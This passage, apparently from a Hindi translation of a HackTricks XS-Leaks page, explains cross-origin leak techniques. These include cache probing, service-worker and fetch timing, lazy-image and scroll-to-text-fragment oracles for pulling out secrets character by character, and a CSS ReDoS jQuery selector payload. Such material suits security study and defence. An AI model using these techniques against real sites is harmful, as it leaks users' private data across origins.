- **Summary:** यह संभव है कि एक संसाधन को लोड करने का प्रयास करें और लोड होने से पहले इसे रोक दें। यदि एक त्रुटि उत्पन्न होती है, तो संसाधन कैश किया गया था या नहीं।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
|
|
_**fetch**_ और _**setTimeout**_ का उपयोग करें एक **AbortController** के साथ यह पता लगाने के लिए कि **संसाधन कैश किया गया है** और ब्राउज़र कैश से एक विशिष्ट संसाधन को निकालने के लिए। इसके अलावा, यह प्रक्रिया नए सामग्री को कैश किए बिना होती है।
|
|
|
|
### Script Pollution
|
|
|
|
- **Inclusion Methods**: HTML Elements (script)
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
- **Summary:** यह संभव है कि **बिल्ट-इन फ़ंक्शंस को ओवरराइट करें** और उनके तर्कों को पढ़ें जो यहां तक कि **क्रॉस-ओरिजिन स्क्रिप्ट** से भी हैं (जिसे सीधे नहीं पढ़ा जा सकता), यह **मूल्यवान जानकारी लीक कर सकता है**।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
|
|
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
|
- **Summary:** सेवा श्रमिकों का उपयोग करके एक वेब के निष्पादन समय को मापें।
|
|
- **Code Example**:
|
|
|
|
दी गई स्थिति में, हमलावर एक **सेवा श्रमिक** को अपने एक डोमेन में पंजीकृत करने की पहल करता है, विशेष रूप से "attacker.com"। इसके बाद, हमलावर मुख्य दस्तावेज़ से लक्षित वेबसाइट में एक नई विंडो खोलता है और **सेवा श्रमिक** को एक टाइमर शुरू करने के लिए निर्देशित करता है। जैसे ही नई विंडो लोड होना शुरू होती है, हमलावर पिछले चरण में प्राप्त संदर्भ को **सेवा श्रमिक** द्वारा प्रबंधित पृष्ठ पर नेविगेट करता है।
|
|
|
|
पिछले चरण में शुरू की गई अनुरोध के आगमन पर, **सेवा श्रमिक** **204 (No Content)** स्थिति कोड के साथ प्रतिक्रिया करता है, प्रभावी रूप से नेविगेशन प्रक्रिया को समाप्त करता है। इस बिंदु पर, **सेवा श्रमिक** पहले चरण में शुरू किए गए टाइमर से एक माप कैप्चर करता है। यह माप जावास्क्रिप्ट के कारण नेविगेशन प्रक्रिया में देरी के समय से प्रभावित होता है।
|
|
|
|
> [!WARNING]
|
|
> निष्पादन समय में, यह संभव है कि **नेटवर्क कारकों** को **हटाया** जाए ताकि **अधिक सटीक माप** प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।
|
|
|
|
### Fetch Timing
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
- **Summary:** अनुरोध करने में लगने वाले समय को मापने के लिए [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) का उपयोग करें। अन्य घड़ियों का उपयोग किया जा सकता है।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
|
|
### Cross-Window Timing
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
- **Summary:** `window.open` का उपयोग करके अनुरोध करने में लगने वाले समय को मापने के लिए [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) का उपयोग करें। अन्य घड़ियों का उपयोग किया जा सकता है।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
|
|
## With HTML or Re Injection
|
|
|
|
यहाँ आप क्रॉस-ओरिजिन HTML से जानकारी निकालने की तकनीकों को पा सकते हैं **HTML सामग्री को इंजेक्ट करके**। ये तकनीकें उन मामलों में दिलचस्प हैं जहाँ किसी भी कारण से आप **HTML इंजेक्ट कर सकते हैं लेकिन आप JS कोड इंजेक्ट नहीं कर सकते**।
|
|
|
|
### Dangling Markup
|
|
|
|
{{#ref}}
|
|
dangling-markup-html-scriptless-injection/
|
|
{{#endref}}
|
|
|
|
### Image Lazy Loading
|
|
|
|
यदि आपको **सामग्री निकालने** की आवश्यकता है और आप **गुप्त के पहले HTML जोड़ सकते हैं** तो आपको **सामान्य लटकते मार्कअप तकनीकों** की जांच करनी चाहिए।\
|
|
हालाँकि, यदि किसी भी कारण से आपको **चर द्वारा चर** करना **पड़ता है** (शायद संचार एक कैश हिट के माध्यम से है) तो आप इस चाल का उपयोग कर सकते हैं।
|
|
|
|
HTML में **छवियों** में एक "**loading**" विशेषता होती है जिसका मान "**lazy**" हो सकता है। इस मामले में, छवि तब लोड होगी जब इसे देखा जाएगा और न कि जब पृष्ठ लोड हो रहा हो:
|
|
```html
|
|
<img src=/something loading=lazy >
|
|
```
|
|
इसलिए, आप जो कर सकते हैं वह है **बहुत सारे जंक कैरेक्टर्स** जोड़ना (उदाहरण के लिए **हजारों "W"s**) ताकि **गुप्त जानकारी से पहले वेब पेज को भर सकें या कुछ ऐसा जोड़ें जैसे** `<br><canvas height="1850px"></canvas><br>.`\
|
|
फिर यदि उदाहरण के लिए हमारी **इंजेक्शन ध्वज से पहले दिखाई देती है**, तो **छवि** **लोड** होगी, लेकिन यदि **ध्वज के बाद** दिखाई देती है, तो ध्वज + जंक **इसे लोड होने से रोक देगा** (आपको यह तय करने के लिए खेलना होगा कि कितना जंक डालना है)। यही [**इस लेख में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) हुआ।
|
|
|
|
एक और विकल्प होगा **स्क्रॉल-टू-टेक्स्ट-फ्रैगमेंट** का उपयोग करना यदि अनुमति हो:
|
|
|
|
#### Scroll-to-text-fragment
|
|
|
|
हालांकि, आप **बॉट को पृष्ठ तक पहुँचाने** के लिए कुछ ऐसा करते हैं जैसे
|
|
```
|
|
#:~:text=SECR
|
|
```
|
|
वेब पृष्ठ कुछ इस तरह होगा: **`https://victim.com/post.html#:~:text=SECR`**
|
|
|
|
जहाँ post.html में हमलावर के जंक कैरेक्टर्स और लेज़ी लोड इमेज होती है और फिर बॉट का रहस्य जोड़ा जाता है।
|
|
|
|
यह पाठ बॉट को पृष्ठ में किसी भी पाठ तक पहुँचने के लिए बनाएगा जिसमें पाठ `SECR` शामिल है। चूंकि वह पाठ रहस्य है और यह **छवि के ठीक नीचे** है, **छवि केवल तभी लोड होगी जब अनुमानित रहस्य सही होगा**। तो आपके पास **रहस्य को कैरेक्टर दर कैरेक्टर एक्सफिल्ट्रेट करने के लिए आपका ऑरेकल है**।
|
|
|
|
इसका शोषण करने के लिए कुछ कोड उदाहरण: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|
|
|
### इमेज लेज़ी लोडिंग टाइम बेस्ड
|
|
|
|
यदि **बाहरी छवि लोड करना संभव नहीं है** जो हमलावर को संकेत दे सके कि छवि लोड हो गई है, तो एक और विकल्प होगा कि **कई बार कैरेक्टर का अनुमान लगाने की कोशिश करें और उसे मापें**। यदि छवि लोड होती है तो सभी अनुरोधों में अधिक समय लगेगा बनिस्बत इसके कि छवि लोड नहीं होती। यही [**इस लेख के समाधान में**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **संक्षेप में उपयोग किया गया था:**
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
### ReDoS
|
|
|
|
{{#ref}}
|
|
regular-expression-denial-of-service-redos.md
|
|
{{#endref}}
|
|
|
|
### CSS ReDoS
|
|
|
|
यदि `jQuery(location.hash)` का उपयोग किया जाता है, तो यह समय के माध्यम से पता लगाना संभव है **यदि कुछ HTML सामग्री मौजूद है**, यह इस कारण से है कि यदि चयनकर्ता `main[id='site-main']` मेल नहीं खाता है तो इसे बाकी **चयनकर्ताओं** की जांच करने की आवश्यकता नहीं है:
|
|
```javascript
|
|
$(
|
|
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
|
)
|
|
```
|
|
### CSS Injection
|
|
|
|
{{#ref}}
|
|
xs-search/css-injection/
|
|
{{#endref}}
|
|
|
|
## Defenses
|
|
|
|
इन तकनीकों के खिलाफ सुरक्षा के लिए अधिक जानकारी के लिए [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) और विकी के प्रत्येक अनुभाग [https://xsleaks.dev/](https://xsleaks.dev/) पर देखें।
|
|
|
|
## References
|
|
|
|
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
|
- [https://xsleaks.dev/](https://xsleaks.dev)
|
|
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
|
- [https://xsinator.com/](https://xsinator.com/)
|
|
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|